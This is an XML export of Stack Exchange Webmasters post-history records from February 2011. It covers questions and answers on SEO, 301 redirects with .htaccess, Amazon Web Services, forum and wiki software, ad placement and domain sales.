  <row Id="20050" PostHistoryTypeId="10" PostId="9142" RevisionGUID="973aa1f5-356f-4506-86e6-91c2e9924664" CreationDate="2011-02-14T12:41:37.017" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="20051" PostHistoryTypeId="6" PostId="9130" RevisionGUID="be016dae-6c0e-439f-a3db-c4a5d6244f53" CreationDate="2011-02-14T12:46:00.133" UserId="1253" Comment="Removed &quot;sql&quot; tag" Text="&lt;web-hosting&gt;&lt;mysql&gt;&lt;shared-hosting&gt;" />
  <row Id="20052" PostHistoryTypeId="2" PostId="9143" RevisionGUID="0f73c2e4-5a23-42cc-8149-f24d49ab8acd" CreationDate="2011-02-14T12:52:20.720" UserId="5382" Text="It often gets recommended by SEO consultants.&#xD;&#xA;&#xD;&#xA;The idea is that Google and other web spiders use the words in the link text to get a better idea of what the target page is all about. This includes &quot;self&quot; links. Having a link with words actually related to the target pages contents would be better (from an SEO point of view) than using the word &quot;permalink&quot; (not much point in optimising for the search query &quot;permalink&quot;).&#xD;&#xA;&#xD;&#xA;It is sometimes hard to know how much emphasis to put on such advice given the difficulty in verifying the importance in actual relevance ranking on a site like Google. Such ideas can therefore persist for a long time since they can be neither proved nor disproved.&#xD;&#xA;" />
  <row Id="20053" PostHistoryTypeId="5" PostId="9082" RevisionGUID="bf5a8509-189a-4b3b-8b85-6f4c493d59c0" CreationDate="2011-02-14T13:08:49.250" UserId="5360" Comment="added 45 characters in body" Text="I need to assemble a **GetSatisfaction/Lithium/Jive type support forum/community**. The first is not available in the desired language and the last two are priced for the enterprise market. I did research some other options (open source or SaaS) but they all seem to be either:&#xD;&#xA;&#xD;&#xA; - kind of dead (open source options)&#xD;&#xA; - too focused in gathering ideas/feedback (uservoice)&#xD;&#xA; - strictly support without the community/voting features (zendesk)&#xD;&#xA;&#xD;&#xA;**I need an open forum (people powered support/UGC with community/voting features) &amp;  Facebook/Google/Yahoo/MSN account sign-in.**&#xD;&#xA;&#xD;&#xA;Therefore I will have to do some of the work on my own. I want to **piece things (plugins/mods/etc) on top of a standard forum platform to give it the features I need**. For this purpose, I want to use a **mature** product with widespread userbase, active community and lots of plugin options. I believe most will agree that my options therefore are:&#xD;&#xA;&#xD;&#xA; - vBulletin&#xD;&#xA; - phpBB&#xD;&#xA; - SMF&#xD;&#xA;&#xD;&#xA;Here are the questions: &#xD;&#xA;&#xD;&#xA; 1. **Which one of the three above offers the easier path towards the&#xD;&#xA;    desired goal**?&#xD;&#xA; 2. **Which one of the three above has the most advanced features related to the&#xD;&#xA;    desired goal?**&#xD;&#xA;&#xD;&#xA;Of course I dont expect anyone to **know** these answers *cut and dry*. I am hoping to hear some experiences and see some examples. Also, it would be great if both those questions had the same answer, but I am not going to get my hopes up...&#xD;&#xA;&#xD;&#xA;PS: I wish I could add the tags &quot;phpbb&quot; and &quot;smf&quot; ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20054" PostHistoryTypeId="2" PostId="9144" RevisionGUID="2ad93ff6-a4b2-4d07-b4c6-656b15ed4eec" CreationDate="2011-02-14T13:09:04.887" UserId="5382" Text="Generally speaking, when considering SEO you are trying to optimise one page on your site for a given keyword. When asking the question &quot;is this good for SEO&quot;, you need to be specific about the keywords you're trying to target.&#xD;&#xA;&#xD;&#xA;The problem with the current way you're doing things is your pages aren't really targeting any particular keywords (perhaps they all target &quot;food&quot;). When someone types &quot;food&quot; into Google where do you want them to go?&#xD;&#xA;&#xD;&#xA;You could take a look at how the Stack Exchange sites do it. As @Wige pointed out they have a &quot;new questions&quot; page similar to your home page (in that it's a constantly changing index of new content). But then they add tags and have URLs that index questions with those tags&#xD;&#xA;&#xD;&#xA;In your case, you could have index pages that continue to change constantly and list the latest links. If you added a &quot;chocolate cake&quot; page which listed just the recipes that you tagged as &quot;chocolate, cake&quot; then that page could be considered optimised for the keywords &quot;chocolate cake&quot; and should perform better than your current pages on those searches.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20055" PostHistoryTypeId="5" PostId="9140" RevisionGUID="a2e61a1b-3cdc-45bc-99f9-9e0ee6f5f0ea" CreationDate="2011-02-14T13:09:08.133" UserId="3307" Comment="added 73 characters in body" Text="It might not harm any other users but if you're on a shared database with other users, I doubt they'd want you to be able to create other user accounts. I would advise running this proc under another account.&#xD;&#xA;&#xD;&#xA;To answer your question, I think Rackspace cloud does what you want. " />
  <row Id="20056" PostHistoryTypeId="2" PostId="9145" RevisionGUID="e66a463c-3849-49b0-ad79-c80158357f6f" CreationDate="2011-02-14T13:12:54.143" UserId="5297" Text="Recently, I uploaded a new site to an existing domain and I'd like to figure out how I can forward all links to said domain to a new domain.&#xD;&#xA;&#xD;&#xA;  I'm looking for a wordpress solution if possible, but in the end I I seem myself writing a small header script that I will paste into ever directory's index file saying header('Location:http://xxx.yyy.zzz')&#xD;&#xA;&#xD;&#xA;  Is there a cleaner way to do this without having to resort to managing the whole file structure?&#xD;&#xA;&#xD;&#xA;  No, I do not have access to the apache runtime. Unfortunately it is a shared-host server.&#xD;&#xA;&#xD;&#xA;Thanks in advance. " />
  <row Id="20057" PostHistoryTypeId="1" PostId="9145" RevisionGUID="e66a463c-3849-49b0-ad79-c80158357f6f" CreationDate="2011-02-14T13:12:54.143" UserId="5297" Text="How to purge old links in google from an old domain." />
  <row Id="20058" PostHistoryTypeId="3" PostId="9145" RevisionGUID="e66a463c-3849-49b0-ad79-c80158357f6f" CreationDate="2011-02-14T13:12:54.143" UserId="5297" Text="&lt;seo&gt;&lt;wordpress&gt;&lt;search-engines&gt;&lt;shared-hosting&gt;" />
  <row Id="20059" PostHistoryTypeId="2" PostId="9146" RevisionGUID="1230d2f3-3a55-4ba4-973d-6c45e280d5c4" CreationDate="2011-02-14T13:17:36.580" UserId="5382" Text="You could host the website in another country and/or on a different countries domain name -- that might at least discourage Google from including it in local or &quot;UK search&quot;. There's no way of keeping the site from just West Midlands however. &#xD;&#xA;&#xD;&#xA;The geo-blocking suggestions above are probably your best bet but they can suffer from both false positives and false negatives.&#xD;&#xA;&#xD;&#xA;I think the strategy is flawed. You should consider the [Streisand Effect][1] before attempting to hide anything on the web.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Streisand_effect" />
  <row Id="20060" PostHistoryTypeId="2" PostId="9147" RevisionGUID="292e0dbb-5e8c-4ab8-8089-0d765352012f" CreationDate="2011-02-14T13:17:45.800" UserDisplayName="user5384" Text="What is Amazon Aws? Is it hosting service provided by Amazon? Is Twitpic hosted by AmazonAws? How much it cost (I couldnt find on their site)" />
  <row Id="20061" PostHistoryTypeId="1" PostId="9147" RevisionGUID="292e0dbb-5e8c-4ab8-8089-0d765352012f" CreationDate="2011-02-14T13:17:45.800" UserDisplayName="user5384" Text="What is Amazon Aws?" />
  <row Id="20062" PostHistoryTypeId="3" PostId="9147" RevisionGUID="292e0dbb-5e8c-4ab8-8089-0d765352012f" CreationDate="2011-02-14T13:17:45.800" UserDisplayName="user5384" Text="&lt;hosting&gt;" />
  <row Id="20063" PostHistoryTypeId="2" PostId="9148" RevisionGUID="9099e7c0-0698-45f3-bbea-41339d9bcd45" CreationDate="2011-02-14T13:26:17.380" UserId="5385" Text="I can say from personal experience that Prestashop is pretty good.  They used to have a problem with the upgrades being hard (1.1 -&gt; 1.2 was so hard many people didn't do it), but since 1.3 this has not been much of an issue.  They also issue regular security updates, and have an active forum to help with problems.&#xD;&#xA;&#xD;&#xA;My wife and her business partner are both non-technical people, and they find Prestashop easy to use, so depending on your customer that may be important as well." />
  <row Id="20064" PostHistoryTypeId="2" PostId="9149" RevisionGUID="a47e98f1-328e-4791-9b79-aa95daa6c9d4" CreationDate="2011-02-14T13:35:19.623" UserId="5382" Text="I might have misunderstood... does this not work?&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;/path/to/page&quot; target=&quot;_blank&quot; onClick=&quot;javascript: pageTracker._trackPageview('/path/to/page');&quot;&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20065" PostHistoryTypeId="2" PostId="9150" RevisionGUID="69138b75-a3a0-4abf-88af-e52193990435" CreationDate="2011-02-14T13:42:41.427" UserId="3307" Text="[oDesk][1]? I think you can hire teams on this.&#xD;&#xA;&#xD;&#xA; [1]:http://www.odesk.com" />
  <row Id="20066" PostHistoryTypeId="2" PostId="9151" RevisionGUID="98dad7ee-46dd-4185-be04-34ac69d2ba31" CreationDate="2011-02-14T13:49:33.793" UserId="5382" Text="If&#xD;&#xA;&#xD;&#xA; - you have no control over first.com; and&#xD;&#xA; - the 302 means the HTTP Referer header is blank; then&#xD;&#xA;&#xD;&#xA;no, there's no way for second.com to know you're coming from a redirect.&#xD;&#xA;" />
  <row Id="20067" PostHistoryTypeId="2" PostId="9152" RevisionGUID="958cdb6e-2113-4b0f-b0a0-dcec452038af" CreationDate="2011-02-14T12:18:14.723" UserDisplayName="jim" Text="**disclaimer** &#xD;&#xA;&#xD;&#xA;If this is the wrong location for this question, then please advise me accordingly.&#xD;&#xA;&#xD;&#xA;  **backgound** &#xD;&#xA;&#xD;&#xA;I've been using [Disqus][1] and [intense debate][2] as a 'comments' service for a variety of my sites to great effect and love the fact that i get alot of the facebook/twitter integration 'for free', as well as the SEO benefits. &#xD;&#xA;&#xD;&#xA; **request**&#xD;&#xA; &#xD;&#xA;To this end, does anyone out there know of similar services that can be used to pull entire forums/threaded discussions into the app in a similar fashion (i.e. via ajax webservices). google has been at a loss to turn anything up on this front and i'm therefore wondeing if it's unlikely that such a 'service' exists.&#xD;&#xA;&#xD;&#xA; **respect** &#xD;&#xA;&#xD;&#xA;hope this stikes a chord out there...&#xD;&#xA;&#xD;&#xA;btw - altho using this in asp.net mvc, I'm aware that this technology could be used on any platform capable of consuming javascript via ajax, thus the wide spread of 'tags'.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://disqus.com/&#xD;&#xA;  [2]: http://intensedebate.com/" />
  <row Id="20068" PostHistoryTypeId="1" PostId="9152" RevisionGUID="958cdb6e-2113-4b0f-b0a0-dcec452038af" CreationDate="2011-02-14T12:18:14.723" UserDisplayName="jim" Text="Here we go again - quest for web hosted forum via javascript" />
  <row Id="20069" PostHistoryTypeId="3" PostId="9152" RevisionGUID="958cdb6e-2113-4b0f-b0a0-dcec452038af" CreationDate="2011-02-14T12:18:14.723" UserDisplayName="jim" Text="&lt;javascript&gt;" />
  <row Id="20070" PostHistoryTypeId="17" PostId="9152" RevisionGUID="b426d929-b7fe-4ed2-ab5b-db3bb2f25bfe" CreationDate="2011-02-14T13:50:28.137" UserId="-1" Comment="from http://stackoverflow.com/questions/4992051/here-we-go-again-quest-for-web-hosted-forum-via-javascript" Text="" />
  <row Id="20071" PostHistoryTypeId="2" PostId="9153" RevisionGUID="fc61ef32-0a70-4bf9-9115-40f1e2cb6563" CreationDate="2011-02-14T13:57:53.737" UserId="5382" Text="AWS is [Amazon Web Services][1]. It's the umbrella term that covers a range of (separately priced) web services from Amazon. The best known services are &#xD;&#xA;&#xD;&#xA; - [S3][2] Simple Storage Service, Amazon's &quot;cloud file system&quot; if you like.&#xD;&#xA; - [EC2][3] Elastic Compute Cloud, their scalable web server service for running your own web apps.&#xD;&#xA; - [SimpleDB][4], a scalable and simple (non-relational) database system.&#xD;&#xA;&#xD;&#xA;There's quite a bit to AWS -- it's not a single product but a quite large suite of services. Costs vary depending on the service and your usage of it. Twitter has indeed used S3 in the past (not sure if they still do).&#xD;&#xA;&#xD;&#xA;  [1]: http://aws.amazon.com/&#xD;&#xA;  [2]: http://aws.amazon.com/s3/&#xD;&#xA;  [3]: http://aws.amazon.com/ec2/&#xD;&#xA;  [4]: http://aws.amazon.com/simpledb/" />
  <row Id="20072" PostHistoryTypeId="2" PostId="9154" RevisionGUID="6c19a548-7dab-4f4b-8bb7-e8be73514888" CreationDate="2011-02-14T13:59:20.133" UserId="1253" Text="You need to do [301 redirect][1]s from the old URLs to the new URLs. If all you did was change the domain name then this will work for you (place this in a file called .htaccess in your root web directory):&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule (.*) http://www.newdomain.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webhp?sourceid=chrome-instant&amp;ie=UTF-8&amp;ion=1#sclient=psy&amp;hl=en&amp;safe=off&amp;site=webhp&amp;q=301+redirect+&amp;aq=f&amp;aqi=g4g-o1&amp;aql=&amp;oq=&amp;pbx=1&amp;fp=67f8506433722ca6&amp;ion=1" />
  <row Id="20073" PostHistoryTypeId="6" PostId="9145" RevisionGUID="a4f40c98-f887-4f99-85ed-945fdb77e9cc" CreationDate="2011-02-14T14:00:31.693" UserId="1253" Comment="Removed &quot;shared-hosting&quot; tag" Text="&lt;seo&gt;&lt;wordpress&gt;&lt;search-engines&gt;" />
  <row Id="20074" PostHistoryTypeId="25" PostId="9145" RevisionGUID="be65ab48-336c-4985-8879-08c534e71511" CreationDate="2011-02-14T14:22:20.853" Comment="http://twitter.com/#!/StackWebmasters/status/37154680572215297" />
  <row Id="20075" PostHistoryTypeId="5" PostId="9154" RevisionGUID="c1385939-cf07-4b8e-8669-cedc2c7546f6" CreationDate="2011-02-14T14:26:50.733" UserId="1253" Comment="added 645 characters in body" Text="You need to do [301 redirect][1]s from the old URLs to the new URLs. If all you did was change the domain name then this will work for you (place this in a file called .htaccess in your root web directory):&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule (.*) http://www.newdomain.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;If the domain is the same you'll need to do 301 redirects for each page. If the new URLs follow a pattern related to old URLs you can do this all with one rule like above but how that is done will depend on the URLs. If there is no pattern you can do them all one at a time using the same technique as above:&#xD;&#xA;&#xD;&#xA;    redirect 301 /old/old.htm http://www.you.com/new.htm&#xD;&#xA;&#xD;&#xA;Just write that line in your .htaccess file for each page you wish to redirect. &#xD;&#xA;&#xD;&#xA;I'd leave the .htaccess file in place for all long as you have the website. That way anyone who still comes across an old URL will be able to find the new one easily and transparently. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webhp?sourceid=chrome-instant&amp;ie=UTF-8&amp;ion=1#sclient=psy&amp;hl=en&amp;safe=off&amp;site=webhp&amp;q=301+redirect+&amp;aq=f&amp;aqi=g4g-o1&amp;aql=&amp;oq=&amp;pbx=1&amp;fp=67f8506433722ca6&amp;ion=1" />
  <row Id="20076" PostHistoryTypeId="2" PostId="9155" RevisionGUID="421663e0-24ab-496c-8907-a06079ea9387" CreationDate="2011-02-14T14:39:42.640" UserId="879" Text="I want to use DFP for my ads. To display an ad I am calling `GA_googleFillSlot()`. My understanding of this is, that this function injects the ad code at the position where the JS call is placed. How can I detect if the placement is empty, e.g. no banner code will be injected because there is currently no banner. I need to know because the surrounding html needs to be adapted. Any ideas?" />
  <row Id="20077" PostHistoryTypeId="1" PostId="9155" RevisionGUID="421663e0-24ab-496c-8907-a06079ea9387" CreationDate="2011-02-14T14:39:42.640" UserId="879" Text="How to detect if a placement would be empty (Doubleclick for Publishers)?" />
  <row Id="20078" PostHistoryTypeId="3" PostId="9155" RevisionGUID="421663e0-24ab-496c-8907-a06079ea9387" CreationDate="2011-02-14T14:39:42.640" UserId="879" Text="&lt;advertising&gt;" />
  <row Id="20079" PostHistoryTypeId="2" PostId="9156" RevisionGUID="a92a103e-0a2d-40d9-ad29-25ca4a7d88cb" CreationDate="2011-02-14T14:44:06.927" UserId="2923" Text="Is there any direct way do contact a „real” person, an YouTube employer?&#xD;&#xA;&#xD;&#xA;Someone created an account for the company I work for (previous employer). She entered some password and e-mail. The provided e-mail was valid, but since last login (more than two years), we changed our domain, and this e-mail is probably not valid anymore (and we even don't know it), co we can't use option to reset password.&#xD;&#xA;&#xD;&#xA;I have used all the options in YouTube help center, and no one worked. Also we *can't* contact this previous employer to get any data she entered in the registration form.&#xD;&#xA;&#xD;&#xA;The only data I know is the username. All the movies present the products of our company,&#xD;&#xA;there are links to our site in movie descriptions, so there should be no problem to prove that the account is ours.&#xD;&#xA;&#xD;&#xA;This is an urgent case, becouse the movies contain outdated information." />
  <row Id="20080" PostHistoryTypeId="1" PostId="9156" RevisionGUID="a92a103e-0a2d-40d9-ad29-25ca4a7d88cb" CreationDate="2011-02-14T14:44:06.927" UserId="2923" Text="Contact YouTube" />
  <row Id="20081" PostHistoryTypeId="3" PostId="9156" RevisionGUID="a92a103e-0a2d-40d9-ad29-25ca4a7d88cb" CreationDate="2011-02-14T14:44:06.927" UserId="2923" Text="&lt;password&gt;&lt;youtube&gt;&lt;contact-page&gt;" />
  <row Id="20082" PostHistoryTypeId="6" PostId="9155" RevisionGUID="3458413a-906f-4035-a8ee-ef8cb6c7fb2f" CreationDate="2011-02-14T14:47:14.537" UserId="1253" Comment="Added &quot;doubleclick&quot; tag" Text="&lt;advertising&gt;&lt;doubleclick&gt;" />
  <row Id="20083" PostHistoryTypeId="6" PostId="9147" RevisionGUID="245a4123-f73e-4804-964e-d86eaaa6c3d9" CreationDate="2011-02-14T14:48:15.520" UserId="1253" Comment="Removed &quot;hosting&quot; tag and added &quot;amazon amazon-aws&quot; tags" Text="&lt;amazon&gt;&lt;amazon-aws&gt;" />
  <row Id="20084" PostHistoryTypeId="6" PostId="9152" RevisionGUID="cad79414-43ab-4bc4-a556-55d3baf81261" CreationDate="2011-02-14T14:50:44.800" UserId="1253" Comment="Added &quot;forum ajax&quot; tags" Text="&lt;javascript&gt;&lt;ajax&gt;&lt;forum&gt;" />
  <row Id="20085" PostHistoryTypeId="2" PostId="9157" RevisionGUID="55792a3f-498a-433b-8204-f5dc640768d0" CreationDate="2011-02-14T14:52:10.083" UserId="1757" Text="Are you asking for a hosted forum that can be integrated into your site via JavaScript? Because it's unlikely that such a service exists.&#xD;&#xA;&#xD;&#xA;The reason that there are services like Disqus and IntenseDebate is because this content/service model makes sense for page comments. You already have a site full of content organized into pages and managed via a CMS of your choice. Page comments are just discussions paired to a particular page. Therefore, each comment thread has a corresponding page to be embedded in. So it's easy to tack on a commenting system that simply attaches the discussion thread to the page via JavaScript. And the comment system can be separately managed from your main site content.&#xD;&#xA;&#xD;&#xA;With a forum or messageboard, your main content *are* the actual forum posts. The page structure is therefore dictated by how the forum is sectioned and the forum threads created. Without the forum sections/threads, there's no page structure. You're not embedding the forum messages into pre-existing pages. So it makes no sense to create a hosted forum that you embed via JavaScript. Where would you embed it? How would users bookmark or link to a specific section or discussion? What would be left to manage with your CMS?&#xD;&#xA;&#xD;&#xA;An embeddable hosted forum just doesn't make sense. The logical way to offer a hosted forum service is to just host a regular forum that webmasters can redirect to or point a subdomain to. This doesn't require users to have JavaScript enabled just to use a messageboard, and it allows the forum software to create its own page structure." />
  <row Id="20086" PostHistoryTypeId="6" PostId="8921" RevisionGUID="a8d0e0f1-2e79-4417-8398-d37f7f4a22e9" CreationDate="2011-02-14T14:52:27.130" UserId="1253" Comment="Removed &quot;website&quot; tag. Added &quot;contract hiring&quot; tags." Text="&lt;contract&gt;&lt;hiring&gt;" />
  <row Id="20087" PostHistoryTypeId="2" PostId="9158" RevisionGUID="7991a779-30dd-4db8-bd1b-87976f43a4c2" CreationDate="2011-02-14T14:57:54.913" UserId="5360" Text="http://www.usfsg.com/ might be able to help you. I am not affiliated with them but I know they are serious when it comes to offshore and high rish merchant accounts." />
  <row Id="20088" PostHistoryTypeId="6" PostId="9111" RevisionGUID="a405b89f-2e91-4eba-9e1f-91b25a48ae80" CreationDate="2011-02-14T15:01:53.253" UserId="1253" Comment="Removed &quot;untagged&quot; tag. Added &quot;sitemap&quot; tag." Text="&lt;sitemap&gt;" />
  <row Id="20089" PostHistoryTypeId="5" PostId="9085" RevisionGUID="f0962ceb-44c6-4a49-878e-96d2d7018b4b" CreationDate="2011-02-14T15:02:48.250" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Should page contents same all time for SEO?](http://webmasters.stackexchange.com/questions/9118/should-page-contents-same-all-time-for-seo)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi,&#xD;&#xA;&#xD;&#xA;I have a frequently updated website. That's why page contents change frequently. I mean the items that are on 1'st page become on 2'nd page a day after. Similarly 192'nd page which is my last page becomes 193'rd page a day after. So Google finds different content on a specific page than its previous visit. Is it bad for SEO?&#xD;&#xA;&#xD;&#xA;What you think about it?&#xD;&#xA;" />
  <row Id="20090" PostHistoryTypeId="10" PostId="9085" RevisionGUID="eb1558ac-d4f9-4c88-8157-a0eb88cd9d25" CreationDate="2011-02-14T15:02:48.140" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="20091" PostHistoryTypeId="2" PostId="9159" RevisionGUID="05758ea5-f483-497e-8b89-c09316c9cb6d" CreationDate="2011-02-14T15:03:27.760" UserId="5360" Text="Here is the list. Good luck!&#xD;&#xA;&#xD;&#xA;* Snapnames.com&#xD;&#xA;* Sedo.com&#xD;&#xA;* Godaddy.com Auctions&#xD;&#xA;* Auctionpus.com&#xD;&#xA;* Ebay.com&#xD;&#xA;* Latonas.com&#xD;&#xA;* Afternic.com&#xD;&#xA;* Domainmonkey.com&#xD;&#xA;* Bido.com&#xD;&#xA;* Domaintools.com&#xD;&#xA;* Greatdomains.com (Part Of Sedo)&#xD;&#xA;* Namejet.com&#xD;&#xA;* Snapnames.com&#xD;&#xA;* Winyourdomain.com" />
  <row Id="20092" PostHistoryTypeId="5" PostId="9118" RevisionGUID="b840dfa2-67b7-4b96-9de9-c02b33df2574" CreationDate="2011-02-14T15:03:37.830" UserId="1253" Comment="Removed website review request so the question can stay open" Text="I have a frequently updated website. That's why page contents change frequently. I mean the items that are on 1'st page become on 2'nd page a day after. Similarly 192'nd page which is my last page becomes 193'rd page a day after. So Google finds different content on a specific page than its previous visit. Is it bad for SEO?&#xD;&#xA;" />
  <row Id="20093" PostHistoryTypeId="5" PostId="9159" RevisionGUID="22df0461-e32c-48ed-a9e2-992b169b627d" CreationDate="2011-02-14T15:11:36.160" UserId="5360" Comment="added info" Text="If you are sure you have the rights*, here is the list.&#xD;&#xA;&#xD;&#xA;* Snapnames.com&#xD;&#xA;* Sedo.com&#xD;&#xA;* Godaddy.com Auctions&#xD;&#xA;* Auctionpus.com&#xD;&#xA;* Ebay.com&#xD;&#xA;* Latonas.com&#xD;&#xA;* Afternic.com&#xD;&#xA;* Domainmonkey.com&#xD;&#xA;* Bido.com&#xD;&#xA;* Domaintools.com&#xD;&#xA;* Greatdomains.com (Part Of Sedo)&#xD;&#xA;* Namejet.com&#xD;&#xA;* Snapnames.com&#xD;&#xA;* Winyourdomain.com&#xD;&#xA;&#xD;&#xA;You can also try to sell it via the specialized forums (incomplete list):&#xD;&#xA;&#xD;&#xA;* dnforum.com&#xD;&#xA;* namepros.com&#xD;&#xA;* domainforums.com&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;PS: Only an IP lawyer can tell you for sure if you have the rights to the domain name and domain name disputes are usually resolved by the [World Intellectual Property Organization][1].&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wipo.int" />
  <row Id="20094" PostHistoryTypeId="2" PostId="9160" RevisionGUID="442a9b46-eeef-478f-978e-370204fb08b3" CreationDate="2011-02-14T15:12:18.430" UserDisplayName="user5392" Text="Bing mentions support for mRSS in its &quot;Webmaster Center Help&quot;:&#xD;&#xA;http://download.microsoft.com/download/4/5/4/454C13D4-D94D-4B54-8E46-FE403DF7632B/WMC_FAQ.pdf" />
  <row Id="20095" PostHistoryTypeId="2" PostId="9161" RevisionGUID="3a80e7e0-9046-49df-bbba-3406821737ac" CreationDate="2011-02-14T15:25:25.597" UserId="5360" Text="If the domain is registered at registrar A and registrar A offers a &quot;domain name watch and buy&quot; service, use their service. If the registrar does not offer such service, one of the best options (as far as people reporting seeing a greater chance of success) is snapnames.com" />
  <row Id="20096" PostHistoryTypeId="2" PostId="9162" RevisionGUID="526095af-60ba-4227-bcf4-860d050069de" CreationDate="2011-02-14T16:11:51.763" UserId="4502" Text="&lt;a href=&quot;http://vanillaforums.org/&quot;&gt;Vanilla&lt;/a&gt; has an &lt;a href=&quot;http://vanillaforums.org/addon/embedvanilla-plugin&quot;&gt;embed plugin&lt;/a&gt; that works via a script tag." />
  <row Id="20097" PostHistoryTypeId="2" PostId="9163" RevisionGUID="5dc588bc-0439-4c7f-866f-c348467259c9" CreationDate="2011-02-14T16:25:30.317" UserId="3307" Text="If you don't mind paying, there's always [Vzaar][1]. Last company I worked for used them a lot and it didn't seem too expensive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vzaar.com/" />
  <row Id="20098" PostHistoryTypeId="2" PostId="9164" RevisionGUID="ca5a2c11-a373-4f3e-af0b-7597e2a75b9c" CreationDate="2011-02-14T17:18:19.553" UserDisplayName="user5396" Text="Suppose there is a website at example.org, as proven by google results. Now there is also a domain example.com. It aliases to example.org. Google doesn't find any directories on that domain. How can I now for sure if example.com (or its subdomains) are used to serve (unspidered)pages or mail? Or can I be 100% sure that it's only use is an alias, just because searchengines don't see it?" />
  <row Id="20099" PostHistoryTypeId="1" PostId="9164" RevisionGUID="ca5a2c11-a373-4f3e-af0b-7597e2a75b9c" CreationDate="2011-02-14T17:18:19.553" UserDisplayName="user5396" Text="how can I find out if a domain is used for email or webserving" />
  <row Id="20100" PostHistoryTypeId="3" PostId="9164" RevisionGUID="ca5a2c11-a373-4f3e-af0b-7597e2a75b9c" CreationDate="2011-02-14T17:18:19.553" UserDisplayName="user5396" Text="&lt;domains&gt;" />
  <row Id="20101" PostHistoryTypeId="25" PostId="9147" RevisionGUID="0a585748-5ea3-47fc-806e-637198c21130" CreationDate="2011-02-14T17:22:20.550" Comment="http://twitter.com/#!/StackWebmasters/status/37199978132668417" />
  <row Id="20105" PostHistoryTypeId="2" PostId="9166" RevisionGUID="6d5010b1-b21a-4dcf-bf5c-a06312822ad0" CreationDate="2011-02-14T18:58:55.370" UserDisplayName="user5402" Text="I hope I am not posting incorrectly here.  But I need a flash or silverlight developer to create a page similar to this and wonder about how much it will cost.  My client wants a proposal today.&#xD;&#xA;&#xD;&#xA;The page will show the product with up to 20 alternate colors &#xD;&#xA;See http://www.uniteddesk.com/create_your_own_design.html  -  this shows what we want to simulate.&#xD;&#xA;&#xD;&#xA;thanks for the help." />
  <row Id="20106" PostHistoryTypeId="1" PostId="9166" RevisionGUID="6d5010b1-b21a-4dcf-bf5c-a06312822ad0" CreationDate="2011-02-14T18:58:55.370" UserDisplayName="user5402" Text="need flash or silverlight developer" />
  <row Id="20107" PostHistoryTypeId="3" PostId="9166" RevisionGUID="6d5010b1-b21a-4dcf-bf5c-a06312822ad0" CreationDate="2011-02-14T18:58:55.370" UserDisplayName="user5402" Text="&lt;flash&gt;&lt;silverlight&gt;" />
  <row Id="20108" PostHistoryTypeId="10" PostId="9166" RevisionGUID="f2ab5625-2097-4686-b7c9-4f8fa1fcbdb9" CreationDate="2011-02-14T19:01:36.657" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="20109" PostHistoryTypeId="2" PostId="9167" RevisionGUID="aa3c3960-f216-4c5e-8385-ac6fa487b250" CreationDate="2011-02-14T19:06:33.640" UserId="5401" Text="After having to clean up spam from a MediaWiki install for the umpteenth time, despite a recaptcha plugin &quot;preventing&quot; automated signups, I'm wondering if MediaWiki is the right choice as a CMS for hosting user manuals and guides.&#xD;&#xA;&#xD;&#xA;I've always loved the way wikis can let the guides be edited and commented on collaboratively, but I'm getting tired of dealing with automated vandals. I've disabled edits &amp; signups for now, but as I'm having to go through the pain of cleaning thousands of junk pages, I'm beginning to think I should cut my losses and look for a better alternative.&#xD;&#xA;&#xD;&#xA;Does anyone know of suitable a FOSS application (preferably PHP / MySQL based) that would be simple for a non-coder (our manual writer) to edit, but that has all the interconnectivity, and searchability of a wiki? Or should I just bite the bullet again and lock the wiki down even further?" />
  <row Id="20110" PostHistoryTypeId="1" PostId="9167" RevisionGUID="aa3c3960-f216-4c5e-8385-ac6fa487b250" CreationDate="2011-02-14T19:06:33.640" UserId="5401" Text="Best Free software for hosting user guides" />
  <row Id="20111" PostHistoryTypeId="3" PostId="9167" RevisionGUID="aa3c3960-f216-4c5e-8385-ac6fa487b250" CreationDate="2011-02-14T19:06:33.640" UserId="5401" Text="&lt;cms&gt;&lt;mediawiki&gt;&lt;guide&gt;" />
  <row Id="20112" PostHistoryTypeId="5" PostId="9155" RevisionGUID="60ffa044-1497-4d7b-b468-1d2bed3071ae" CreationDate="2011-02-14T19:13:29.440" UserId="879" Comment="added 181 characters in body; added 2 characters in body" Text="I want to use DFP for my ads. To display an ad I am calling `GA_googleFillSlot()`. My understanding of this is, that this function injects the ad code at the position where the JS call is placed. How can I detect if the placement is empty, e.g. no banner code will be injected because there is currently no banner. I need to know because the surrounding html needs to be adapted. Any ideas?&#xD;&#xA;&#xD;&#xA;**Edit:**  &#xD;&#xA;Alternatively, is it possible to alter the injected html elements? DFP injects a div with id=&quot;google_ads_div_$PLACEMENT_ID&quot;&gt;. Is it possible to add a class attribute?" />
